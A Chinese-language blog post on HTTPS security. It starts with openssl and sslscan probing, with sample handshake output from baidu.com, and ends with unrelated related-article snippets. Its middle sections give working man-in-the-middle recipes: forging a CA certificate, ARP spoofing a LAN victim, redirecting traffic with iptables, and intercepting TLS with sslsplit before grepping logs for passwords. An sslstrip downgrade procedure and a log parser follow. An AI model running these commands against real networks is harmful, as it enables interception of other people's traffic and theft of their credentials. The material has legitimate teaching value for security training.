当前位置: 首页 > news >正文

Https AK--(ssl 安全感满满)

免责声明:本文仅做分享!

目录

https探测

openssl

Openssl连接服务器获取基本信息

连接命令:

指定算法连接:

测试弱协议连接是否可以连接:

得到的内容包括:

sslscan

在线查询证书

https AK type

中间人AK

sslsplit 工具

操作

降级AK


https探测

openssl

OpenSSL是一个安全套接字层密码库,囊括主要的密码算法、常用的密钥和证书封装管理功能及SSL协议,并提供丰富的应用程序供测试或其它目的使用。

Openssl连接服务器获取基本信息

连接命令:

openssl s_client -connect www.xxx.com:443

指定算法连接:
openssl s_client -tls1_2 -cipher 'ECDHE-RSA-AES128-GCM-SHA256' -connect www.xxx.com:443
测试弱协议连接是否可以连接:
​
┌──(root㉿localhost)-[~]
└─# openssl ciphers -v "NULL,EXPORT,LOW,DES"
TLS_AES_256_GCM_SHA384         TLSv1.3 Kx=any      Au=any   Enc=AESGCM(256)            Mac=AEAD
TLS_CHACHA20_POLY1305_SHA256   TLSv1.3 Kx=any      Au=any   Enc=CHACHA20/POLY1305(256) Mac=AEAD
TLS_AES_128_GCM_SHA256         TLSv1.3 Kx=any      Au=any   Enc=AESGCM(128)            Mac=AEAD
ECDHE-ECDSA-NULL-SHA           TLSv1   Kx=ECDH     Au=ECDSA Enc=None                   Mac=SHA1
ECDHE-RSA-NULL-SHA             TLSv1   Kx=ECDH     Au=RSA   Enc=None                   Mac=SHA1
AECDH-NULL-SHA                 TLSv1   Kx=ECDH     Au=None  Enc=None                   Mac=SHA1
NULL-SHA256                    TLSv1.2 Kx=RSA      Au=RSA   Enc=None                   Mac=SHA256
ECDHE-PSK-NULL-SHA384          TLSv1   Kx=ECDHEPSK Au=PSK   Enc=None                   Mac=SHA384
ECDHE-PSK-NULL-SHA256          TLSv1   Kx=ECDHEPSK Au=PSK   Enc=None                   Mac=SHA256
ECDHE-PSK-NULL-SHA             TLSv1   Kx=ECDHEPSK Au=PSK   Enc=None                   Mac=SHA1
RSA-PSK-NULL-SHA384            TLSv1   Kx=RSAPSK   Au=RSA   Enc=None                   Mac=SHA384
RSA-PSK-NULL-SHA256            TLSv1   Kx=RSAPSK   Au=RSA   Enc=None                   Mac=SHA256
DHE-PSK-NULL-SHA384            TLSv1   Kx=DHEPSK   Au=PSK   Enc=None                   Mac=SHA384
DHE-PSK-NULL-SHA256            TLSv1   Kx=DHEPSK   Au=PSK   Enc=None                   Mac=SHA256
RSA-PSK-NULL-SHA               SSLv3   Kx=RSAPSK   Au=RSA   Enc=None                   Mac=SHA1
DHE-PSK-NULL-SHA               SSLv3   Kx=DHEPSK   Au=PSK   Enc=None                   Mac=SHA1
NULL-SHA                       SSLv3   Kx=RSA      Au=RSA   Enc=None                   Mac=SHA1
NULL-MD5                       SSLv3   Kx=RSA      Au=RSA   Enc=None                   Mac=MD5
PSK-NULL-SHA384                TLSv1   Kx=PSK      Au=PSK   Enc=None                   Mac=SHA384
PSK-NULL-SHA256                TLSv1   Kx=PSK      Au=PSK   Enc=None                   Mac=SHA256
PSK-NULL-SHA                   SSLv3   Kx=PSK      Au=PSK   Enc=None                   Mac=SHA1

得到的内容包括:

1.证书链

2证书

3Cipher-Suite(安全算法)

4会话信息

​
┌──(root㉿localhost)-[~]
└─# openssl s_client www.baidu.com:443
Connecting to 110.242.68.3
CONNECTED(00000003)
depth=2 OU=GlobalSign Root CA - R3, O=GlobalSign, CN=GlobalSign
verify return:1
depth=1 C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018
verify return:1
depth=0 C=CN, ST=beijing, L=beijing, O=Beijing Baidu Netcom Science Technology Co., Ltd, CN=baidu.com
verify return:1
---
Certificate chain   ###########证书链###############0 s:C=CN, ST=beijing, L=beijing, O=Beijing Baidu Netcom Science Technology Co., Ltd, CN=baidu.comi:C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018a:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256v:NotBefore: Jul  8 01:41:02 2024 GMT; NotAfter: Aug  9 01:41:01 2025 GMT1 s:C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018i:OU=GlobalSign Root CA - R3, O=GlobalSign, CN=GlobalSigna:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256v:NotBefore: Nov 21 00:00:00 2018 GMT; NotAfter: Nov 21 00:00:00 2028 GMT2 s:OU=GlobalSign Root CA - R3, O=GlobalSign, CN=GlobalSigni:C=BE, O=GlobalSign nv-sa, OU=Root CA, CN=GlobalSign Root CAa:PKEY: rsaEncryption, 2048 (bit); sigalg: RSA-SHA256v:NotBefore: Sep 19 00:00:00 2018 GMT; NotAfter: Jan 28 12:00:00 2028 GMT
---
Server certificate      ######证书########
-----BEGIN CERTIFICATE-----
MIIJ7DCCCNSgAwIBAgIMTkADpl62gfh/S9jrMA0GCSqGSIb3DQEBCwUAMFAxCzAJ
BgNVBAYTAkJFMRkwFwYDVQQKExBHbG9iYWxTaWduIG52LXNhMSYwJAYDVQQDEx1H
bG9iYWxTaWduIFJTQSBPViBTU0wgQ0EgMjAxODAeFw0yNDA3MDgwMTQxMDJaFw0y
NTA4MDkwMTQxMDFaMIGAMQswCQYDVQQGEwJDTjEQMA4GA1UECBMHYmVpamluZzEQ
MA4GA1UEBxMHYmVpamluZzE5MDcGA1UEChMwQmVpamluZyBCYWlkdSBOZXRjb20g
U2NpZW5jZSBUZWNobm9sb2d5IENvLiwgTHRkMRIwEAYDVQQDEwliYWlkdS5jb20w
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC1wFMskJ2dseOqoHptNwot
FOhdBERsZ4VQnRNKXEEXMQEfgbNtScQ+C/Z+IpRAt1EObhYlifn74kt2nTsCQLng
jfQkRVBuO/6PNGKdlCYGBeGqAL7xR+LOyHnpH9mwCBJc+WVt2zYM9I1clpXCJa+I
tsq6qpb1AGoQxRDZ2n4K8Gd61wgNCPHDHc/Lk9NPJoUBMvYWvEe5lKhHsJtWtHe4
QC3y58Vi+r5R0PWn2hyTBr9fCo58p/stDiRqp9Irtmi95YhwkNkmgwpMB8RhcGoN
h+Uw5TkPZVj4AVaoPT1ED/GMKZev0+ypmp0+nmjVg2x7yUfLUfp3X7oBdI4TS2hv
AgMBAAGjggaTMIIGjzAOBgNVHQ8BAf8EBAMCBaAwDAYDVR0TAQH/BAIwADCBjgYI
KwYBBQUHAQEEgYEwfzBEBggrBgEFBQcwAoY4aHR0cDovL3NlY3VyZS5nbG9iYWxz
aWduLmNvbS9jYWNlcnQvZ3Nyc2FvdnNzbGNhMjAxOC5jcnQwNwYIKwYBBQUHMAGG
K2h0dHA6Ly9vY3NwLmdsb2JhbHNpZ24uY29tL2dzcnNhb3Zzc2xjYTIwMTgwVgYD
VR0gBE8wTTBBBgkrBgEEAaAyARQwNDAyBggrBgEFBQcCARYmaHR0cHM6Ly93d3cu
Z2xvYmFsc2lnbi5jb20vcmVwb3NpdG9yeS8wCAYGZ4EMAQICMD8GA1UdHwQ4MDYw
NKAyoDCGLmh0dHA6Ly9jcmwuZ2xvYmFsc2lnbi5jb20vZ3Nyc2FvdnNzbGNhMjAx
OC5jcmwwggNhBgNVHREEggNYMIIDVIIJYmFpZHUuY29tggxiYWlmdWJhby5jb22C
DHd3dy5iYWlkdS5jboIQd3d3LmJhaWR1LmNvbS5jboIPbWN0LnkubnVvbWkuY29t
ggthcG9sbG8uYXV0b4IGZHd6LmNuggsqLmJhaWR1LmNvbYIOKi5iYWlmdWJhby5j
b22CESouYmFpZHVzdGF0aWMuY29tgg4qLmJkc3RhdGljLmNvbYILKi5iZGltZy5j
b22CDCouaGFvMTIzLmNvbYILKi5udW9taS5jb22CDSouY2h1YW5rZS5jb22CDSou
dHJ1c3Rnby5jb22CDyouYmNlLmJhaWR1LmNvbYIQKi5leXVuLmJhaWR1LmNvbYIP
Ki5tYXAuYmFpZHUuY29tgg8qLm1iZC5iYWlkdS5jb22CESouZmFueWkuYmFpZHUu
Y29tgg4qLmJhaWR1YmNlLmNvbYIMKi5taXBjZG4uY29tghAqLm5ld3MuYmFpZHUu
Y29tgg4qLmJhaWR1cGNzLmNvbYIMKi5haXBhZ2UuY29tggsqLmFpcGFnZS5jboIN
Ki5iY2Vob3N0LmNvbYIQKi5zYWZlLmJhaWR1LmNvbYIOKi5pbS5iYWlkdS5jb22C
EiouYmFpZHVjb250ZW50LmNvbYILKi5kbG5lbC5jb22CCyouZGxuZWwub3JnghIq
LmR1ZXJvcy5iYWlkdS5jb22CDiouc3UuYmFpZHUuY29tgggqLjkxLmNvbYISKi5o
YW8xMjMuYmFpZHUuY29tgg0qLmFwb2xsby5hdXRvghIqLnh1ZXNodS5iYWlkdS5j
b22CESouYmouYmFpZHViY2UuY29tghEqLmd6LmJhaWR1YmNlLmNvbYIOKi5zbWFy
dGFwcHMuY26CDSouYmR0anJjdi5jb22CDCouaGFvMjIyLmNvbYIMKi5oYW9rYW4u
Y29tgg8qLnBhZS5iYWlkdS5jb22CESoudmQuYmRzdGF0aWMuY29tghEqLmNsb3Vk
LmJhaWR1LmNvbYISY2xpY2suaG0uYmFpZHUuY29tghBsb2cuaG0uYmFpZHUuY29t
ghBjbS5wb3MuYmFpZHUuY29tghB3bi5wb3MuYmFpZHUuY29tghR1cGRhdGUucGFu
LmJhaWR1LmNvbTAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwHwYDVR0j
BBgwFoAU+O9/8s14Z6jeb48kjYjxhwMCs+swHQYDVR0OBBYEFK3KAFTK2OWUto+D
2ieAKE5ZJDsYMIIBfwYKKwYBBAHWeQIEAgSCAW8EggFrAWkAdgCvGBoo1oyj4KmK
TJxnqwn4u7wiuq68sTijoZ3T+bYDDQAAAZCQAGzzAAAEAwBHMEUCIFwF5Jc+zyIF
Gnpxchz9fY1qzlqg/oVrs2nnuxcpBuuIAiEAu3scD6u51VOP/9aMSqR2yKHZLbHw
Fos9U7AzSdLIZa8AdgAS8U40vVNyTIQGGcOPP3oT+Oe1YoeInG0wBYTr5YYmOgAA
AZCQAG3iAAAEAwBHMEUCIBBYQ6NP7VUDgfktWRg5QxT23QAbTqYovtV2D9O8Qc0T
AiEA2P7+44EvQ5adwL1y56oyxv/m+Gujeia7wpo7+Xbhv6MAdwAN4fIwK9MNwUBi
EgnqVS78R3R8sdfpMO8OQh60fk6qNAAAAZCQAGy+AAAEAwBIMEYCIQDU7Hxtx4c9
p9Jd+cr+DCMtyRYSc0b8cktCcbMmtDE9ygIhAIpJd4yb7jtxnaEC8oLWDushbK1v
0BIuZu6YrQvsf1nQMA0GCSqGSIb3DQEBCwUAA4IBAQCh9DfewC012/+fHZpmSpCn
y+h3/+ClAZ8cJVO+LCmYz9r6bkyhcFquJ5qUpyoW8AYtU0oUFlqH6zLIyujW+7lq
wFxB6NsXKKdwBKmMbmnZr2Fca5f+TtwD/GDJgG/egr7fI1u8194j9KEl8cK8Fujm
+UsoWklEzd1It9xkLazJR/6SwbhSR4k610pvj8rQrS4wAewuYFDaDOfqsHtDIsx1
tZfIfoB/O1wGWZQJU2M9wC8uYq0jQ2Q0MQJXuyJz04MFiGrPAS1Uk8mWd8M+3p65
Xy4iAf8uWzs1M+fcwBE8BNBghkQgE+FSUsldm+5ZBCazU0joJswzldWisXMLTagI
-----END CERTIFICATE-----
subject=C=CN, ST=beijing, L=beijing, O=Beijing Baidu Netcom Science Technology Co., Ltd, CN=baidu.com
issuer=C=BE, O=GlobalSign nv-sa, CN=GlobalSign RSA OV SSL CA 2018
---      #########安全算法#########
No client certificate CA names sent
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: ECDH, prime256v1, 256 bits
---
SSL handshake has read 5414 bytes and written 586 bytes
Verification: OK
---
New, TLSv1.2, Cipher is ECDHE-RSA-AES128-GCM-SHA256
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:     ############会话信息############Protocol  : TLSv1.2Cipher    : ECDHE-RSA-AES128-GCM-SHA256Session-ID: C3DE19032169B078EA8451E76C755BDBB63667BA8CC84791169936F15F8108EDSession-ID-ctx:Master-Key: B7E6E9F69ECA343EE4DFC516504105129748858E4A411009D9A929254F0D27423E3D94A122F01B4FFCE841383938FC82PSK identity: NonePSK identity hint: NoneSRP username: NoneTLS session ticket:0000 - f4 89 30 9d 52 3d 65 42-67 d7 26 9a e8 98 bf 66   ..0.R=eBg.&....f0010 - d8 b6 30 d7 8f 4e f9 a6-a5 05 06 dd 10 35 28 8f   ..0..N.......5(.0020 - 61 d5 b2 d6 a6 6c 1c d6-a1 1e 74 df aa 28 64 7a   a....l....t..(dz0030 - 0a 77 65 b0 e4 9d 7d 69-b0 0b 1f 74 14 3d 60 55   .we...}i...t.=`U0040 - 13 c2 07 e5 0f bf 2a 1d-0e 91 6c 70 67 48 57 62   ......*...lpgHWb0050 - a3 5a ed a6 83 94 72 a2-ab 0c a0 73 f4 f1 54 68   .Z....r....s..Th0060 - d3 d6 93 63 32 b6 7f 92-4a de ac ad 2d e5 ad 21   ...c2...J...-..!0070 - 8d 70 de 4e a3 95 01 c1-03 31 40 9b f9 e8 77 c8   .p.N.....1@...w.0080 - ee b2 30 4b 05 2e 84 b8-81 2c fe ca 02 cd b8 ed   ..0K.....,......0090 - e0 11 c8 54 03 39 c9 59-08 8f 29 4d d0 dc b5 29   ...T.9.Y..)M...)
​Start Time: 1722726526Timeout   : 7200 (sec)Verify return code: 0 (ok)Extended master secret: no
---
​

sslscan

sslscan --tlsall 域名:443
​

在线查询证书

测试,返回信息,安全性,

SSL Server Test (Powered by Qualys SSL Labs)

???....


https AK type

中间人攻击在这些攻击中,黑客将自己置于用户和服务器之间,拦截通信。 它们可以窃听和修改它们之间传输的数据,获取登录凭证或财务细节等敏感信息。
降级攻击此类攻击以 SSL 协议为目标,迫使通信使用过时的版本,如 SSL 3.0。 攻击者可以利用协议中的弱点,对加密流量进行解密。
SSL 剥离攻击这些攻击利用 HTTPS 连接建立方式中的漏洞。 攻击者拦截用户与网络服务器之间的流量,并将连接降级为 HTTP。 由于用户和服务器之间传输的其他敏感数据没有像 HTTPS 连接那样加密,因此这种操作允许他们查看和操作这些数据。
SSL 重新协商攻击网络犯罪分子利用客户端和服务器之间 SSL 流量重新协商的缺陷。 通过操纵这一过程,他们可以在通信中注入恶意代码或命令,从而可能破坏连接。
会话劫持攻击在这些攻击中,攻击者会窃取用户或服务器的会话验证证书或私钥,从而冒充证书持有者。 这样,他们就能在任何一方都没有意识到自己受到威胁的情况下拦截和操纵传输。
SSL 注入攻击这些漏洞涉及通过 SSL 流量在用户和服务器之间的通信中注入恶意代码或命令。 因此,黑客会在未经授权的情况下获取敏感信息。
漏洞

SSL 攻击和漏洞 - 基本指南 - SSL Dragon


 

中间人AK

2014 年的Darkhotel 攻击是中间人攻击的一个突出真实案例。 在这场复杂的网络间谍活动中,黑客潜入了政府官员和企业高管等高级别客人经常光顾的酒店 Wi-Fi 网络。

sslsplit 工具

透明SSL/TLS中间人攻击工具
对客户端伪装成服务器,对服务器
伪装成普通客户端伪装服务器需要伪造证书
支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击

操作

产生公钥:
openssl genrsa -out ag.key 2048
产生CA证书:
openssl req -new -x509 -days 365 -key ag.key -out ag.crt
​
---> 
.key
.crt

激活路由转发:

echo 1 >/proc/sys/net/ipv4/ip_forward
​

查看规则:
iptables -L
查看 NAT 规则:
iptables -t nat -L
清空NAT规则:
iptables -t nat -F
​
确认80和443没有其他服务在侦听:
netstat -pantu | grep 80
netstat -pantu | grep 443
​
配置NAT规则:(配置完成后使用 iptables -t nat -L 查看策略)
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
​
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
​
格式介绍:
-t:指定表;
-APERROUTING:路由前生效;
-p:指定协议;
--dport:接受流量的端口;
-j:指定处理方法(REDIRECT重定向);
--to-ports:转发端口

开启arp欺骗:

工作组&局域网-ARP欺骗-攻击防御&单双向_内网arp双向欺骗-CSDN博客

arpspoof -i eth0 -t 192.168.49.133 -r 192.168.49.2

mkdir -p /home/kali/桌面/logdir
​
激活中间人:
sslsplit -D -l connect.log -j /home/kali/桌面/ -S /home/kali/桌面/logdir/ -k ag.key -c ag.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

访问--证书会报错---继续,-- 然后在上面的操作流量就会被监控。

grep pwd *


降级AK

2014 年,谷歌研究人员 Bodo Möller、Thai Duong 和 Krzysztof Kotowicz 发现了这个名为[POODLE 的漏洞](https://www.ssldragon.com/zh/blog/what-is-poodle-attack-ssl/)。 这次攻击的目标是 SSL 3.0 加密协议,当时网络服务器和浏览器仍广泛支持该协议。

https--->http

不用考虑证书的问题. (自己产生)

激活:由于sslstrip只能支持一个端口,所以需要把所有流量都引到8080
​
iptables -t nat -F
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8080
iptables -t nat -L
​
​
arpspoof -i eth0 -t 192.168.49.133 -r 192.168.49.2
激活:
sslstrip -l 8080

--只有纯https加密的才行.

logex 解析工具:

wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/logex/log_ex.py.tar.gz

tar -zxvf log_ex.py.tar.gz

./log_ex.py sslstrip.log -a -r

人家网站要不就是加密+组件加密 .

要不就是不加密 .


...

相关文章:

Https AK--(ssl 安全感满满)

免责声明:本文仅做分享! 目录 https探测 openssl Openssl连接服务器获取基本信息 连接命令: 指定算法连接: 测试弱协议连接是否可以连接: 得到的内容包括: sslscan 在线查询证书 https AK type 中间人AK sslsplit 工具…...

ERROR: Failed building wheel for cython_bbox | pip install cython_bbox 失败【解决方案】

🥇 版权: 本文由【墨理学AI】原创首发、各位读者大大、敬请查阅、感谢三连 🎉 声明: 作为全网 AI 领域 干货最多的博主之一,❤️ 不负光阴不负卿 ❤️ 文章目录 win11 系统 pip3 install cython_bbox 失败报错如下解决方法:1 下载…...

逻辑与位运算的双面舞者:、、|、||深度解析

深入解析&、&&、|、||:逻辑与位运算的奥秘之旅 在编程的世界里,&、&&、|、||这四种运算符扮演着至关重要的角色。它们不仅仅是简单的符号,更是连接程序逻辑、实现复杂功能的桥梁。本文旨在深入探讨这四者的区别与联…...

中断门+陷阱门

中断门: 中断描述符在IDT表里面 kd> dq idtr 80b95400 83e48e000008bfc0 83e48e000008c150 80b95410 0000850000580000 83e4ee000008c5c0 80b95420 83e4ee000008c748 83e48e000008c8a8 80b95430 83e48e000008ca1c 83e48e000008d018 80b95440 000085000050…...

RTMP直播播放器的几种选择

如何选择RTMP播放器? 在选择RTMP播放器时,需要综合考虑多个因素,以确保选择的播放器能够满足实际需求并提供良好的用户体验。以下是一些选择RTMP播放器的建议: 1. 功能需求 低延迟:对于直播场景,低延迟是…...

初识爬虫1

学习路线:爬虫基础知识-requests模块-数据提取-selenium-反爬与反反爬-MongoDB数据库-scrapy-appium。 对应视频链接(百度网盘):正在整理中 爬虫基础知识: 1.爬虫的概念 总结:模拟浏览器,发送请求,获取…...

【趣学Python算法100例】兔子产子

问题描述 有一对兔子,从出生后的第3个月起每个月都生一对兔子。小兔子长到第3个月后每个月又生一对兔子,假设所有的兔子都不死,问30个月内每个月的兔子总对数为多少? 题目解析 兔子产子问题是一个有趣的古典数学问题&#xff0c…...

HTTP 四、HttpClient的使用

一、简单介绍 1、简介 HttpClient是Apache Jakarta Common下的子项目,用来提供高效的、最新的、功能丰富的支持HTTP协议的客户端编程工具包,并且它支持HTTP协议最新的版本和建议。HttpClient已经应用在很多的项目中,比如Apache Jakarta上很著…...

C语言:结构体变量

1. 结构体变量的引用方法 例如,若有数据定义: struct Student{char name[10];int age;struct Date birthday; }s1,s2,stu[10]; 则下面对结构体变量的引用都是正确的: s1.age20; scanf("%d",&s1.age); gets(stu[0].name); s…...

bibtex是什么

BibTeX 是一个用于处理和格式化参考文献的工具,常与 LaTeX 一起使用。它提供了一种方便的方式来管理和生成参考文献列表,特别适用于学术写作和科研论文中。以下是对 BibTeX 的详细介绍: 基本概念 BibTeX 是 LaTeX 的一个附加工具&#xff0…...

【大模型专栏—进阶篇】智能对话全总结

大模型专栏介绍 😊你好,我是小航,一个正在变秃、变强的文艺倾年。 🔔本文为大模型专栏子篇,大模型专栏将持续更新,主要讲解大模型从入门到实战打怪升级。如有兴趣,欢迎您的阅读。 &#x1f4…...

MVC应用单元测试以及请求参数的验证

SpringMVC支持对Controller单元测试 RunWith(SpringJUnit4ClassRunner.class) ContextConfiguration(locations {"classpath:mvc-dispatcher-servlet.xml", }) WebAppConfiguration public class ControllerJUnitBase{Resourceprivate RequestMappingHandlerMappin…...

算法:TopK问题

题目 有10亿个数字,需要找出其中的前k大个数字。 为了方便讲解,这里令k为5。 思路分析(以找前k大个数字为例) 很容易想到,进行排序,然后取前k个数字即可。 但是,难点在于,10亿个数…...

.json文件的C#解析,基于Newtonsoft.Json插件

目录 1. 前言 2. 正文 2.1 问题 2.2 解决办法 2.2.1 思路 2.2.2 代码实现 2.2.3 测试结果 3. 备注 1. 前言 天气晚来秋,这几天天气变凉了,各位同学注意好多穿衣服。回归正题 由于需要,需要将json的配置里面的调理解析出来,做成接口,以便于开发。 2. 正文 2.1 …...

四、(JS)JS中常见的加载事件

一、文档加载监听 (1)抛出疑惑,什么是文档加载监听?为什么要有这个东西? 老样子,我们先讲一个场景,带着大家熟悉为什么会有文档加载监听,是来解决什么问题来着的。 我们先看下这段…...

[网络]https的概念及加密过程

文章目录 一. HTTPS二. https加密过程 一. HTTPS https本质上就是http的基础上增加了一个加密层, 抛开加密之后, 剩下的就是个http是一样的 s > SSL HTTPS HTTP SSL 这个过程, 涉及到密码学的几个核心概念 明文 要传输的真正意思是啥 2)密文 加密之后得到的数据 这个密文…...

React 嵌套类名样式不生效

修改前 父级.blog样式生效&#xff0c;子级.circle样式不生效 // app/blog/page.js import styles from "./page.module.scss"export default function Blog () {return (<div className{styles.blog}><div classNamecircle><div /></div>…...

20Kg载重30分钟续航多旋翼无人机技术详解

一、机架与结构设计 1. 材料选择&#xff1a;为了确保无人机能够承载20Kg的负载&#xff0c;同时实现30分钟的续航&#xff0c;其机架材料需选用轻质高强度的材料&#xff0c;如碳纤维或铝合金。这些材料不仅具有良好的承重能力&#xff0c;还能有效减轻无人机的整体重量&…...

详解c++:认识类

文章目录 前言一、类是什么二、类&#xff08;class&#xff09;的使用publicprivate&#xff1a;protected&#xff1a; 前言 C 是一种面向对象的编程语言。面向对象编程是一种编程范式&#xff0c;它使用“对象”来设计软件应用程序。在面向对象编程中&#xff0c;对象包含了…...

HTML5中的重要元素详解

第3章 HTML5中的重要元素 3.1 html根元素 HTML文档中&#xff0c;元素html代表了文档的根&#xff0c;其他所有元素都是在该元素的基础上进行延伸或拓展的&#xff0c;该元素也是HTML文档的最外层元素&#xff0c;因此也称为根元素。 html元素的常用属性&#xff1a; manif…...

AD9910不止于原理图:巧用线性斜波发生器,打造可编程信号源的5个创意应用实例(附配置代码)

AD9910线性斜波发生器的5个工业级应用实战 当大多数开发者还在用AD9910做基础频率合成时&#xff0c;真正的高手已经在挖掘这颗1GSPS超高速DDS芯片的隐藏技能了。今天要重点介绍的线性斜波发生器&#xff08;Linear Ramp Generator&#xff09;功能&#xff0c;可能是你项目升级…...

单片机烧录次数解析与存储技术对比

1. 单片机烧录次数的本质解析作为一名嵌入式开发工程师&#xff0c;我经常被初学者问到这个问题&#xff1a;"这块开发板上的单片机到底能反复烧录多少次程序&#xff1f;"要理解这个问题&#xff0c;我们需要从半导体存储器的物理特性说起。单片机程序存储器的烧录寿…...

# MAUI 中的异步加载优化实战:从理论到高性能 UI 体验提升在现代跨平台移动开发中,*

MAUI 中的异步加载优化实战&#xff1a;从理论到高性能 UI 体验提升 在现代跨平台移动开发中&#xff0c;.NET MAUI&#xff08;Multi-platform App UI&#xff09; 已成为越来越多开发者首选的技术栈。它不仅支持原生性能&#xff0c;还提供了统一的 API 来构建 iOS、Android …...

嵌入式裸机编程内存管理优化实践

1. 嵌入式裸机编程中的内存管理困境在STM32这类资源受限的嵌入式系统中&#xff0c;我见过太多因为内存管理不当导致的系统崩溃案例。有一次在产品现场&#xff0c;设备运行几天后突然死机&#xff0c;排查发现是内存碎片导致动态分配失败。这让我深刻认识到&#xff1a;在裸机…...

手把手教你写一个TextMeshProUGUI尺寸控制器:搞定聊天框、公告板等动态文本布局

手把手构建TextMeshProUGUI智能尺寸控制器&#xff1a;从原理到实战优化 在Unity的UI开发中&#xff0c;文本组件的动态布局一直是让开发者头疼的问题。想象这样一个场景&#xff1a;你的游戏聊天系统需要根据消息长度自动调整气泡大小&#xff0c;公告板要限制文本显示区域避免…...

从STM32切换到MSPM0G3507?这份串口驱动移植避坑指南请收好

从STM32切换到MSPM0G3507&#xff1a;串口驱动移植的深度避坑指南 第一次接触TI的MSPM0系列MCU时&#xff0c;我正为一个低成本工业传感器项目选型。作为长期使用STM32的开发者&#xff0c;我下意识地想把之前的串口驱动代码直接移植过去——结果在接收不定长数据时遭遇了连续…...

C++ Move 构造函数的优化原理

C Move构造函数的优化原理 在C11中&#xff0c;移动语义的引入彻底改变了资源管理的方式&#xff0c;而Move构造函数则是实现高效资源转移的核心机制之一。传统拷贝构造函数在涉及动态内存或大型对象时可能带来高昂的性能开销&#xff0c;而Move构造函数通过“窃取”临时对象的…...

XSS之Flash弹窗钓鱼

0x1 前言 哈喽&#xff0c;师傅们好&#xff01; 这次打算给师弟们分享的是XSS之Flash弹窗钓鱼和文件上传getshell各种姿势的内容&#xff0c;然后先是给小白师傅们简单介绍下XSS漏洞和文件上传漏洞。然后后面给师傅们简单演示了XSS之Flash弹窗钓鱼&#xff0c;然后后面很详细…...

LLM - 2026 AI 文本转可视化工具终极指南:PicDoc.ai vs Napkin.ai 及 EdrawMax、Whimsical 等 8 大神器深度对比

文章目录概述一、PicDoc.ai vs Napkin.ai&#xff1a;专业全能 vs 轻快协作二、其他 6 大同类工具推荐三、8 大工具终极对比一览表&#xff08;关键指标&#xff09;四、 建议概述 在 2026 年的 AI 生产力浪潮中&#xff0c;把枯燥文字一键变成专业流程图、思维导图、信息图、…...

macOS 26.4推送,新增充电上限,利好电池寿命

macOS 26.4 新增自定义充电上限&#xff0c;有效延长 Mac 电池寿命。搭配CleanMyMac电池监控功能&#xff0c;实时掌握健康度、循环次数与温度&#xff0c;软硬结合保护电池。苹果于2026年3月24日正式推送了macOS Tahoe 26.4版本更新。本次更新最受关注的变化&#xff0c;是为M…...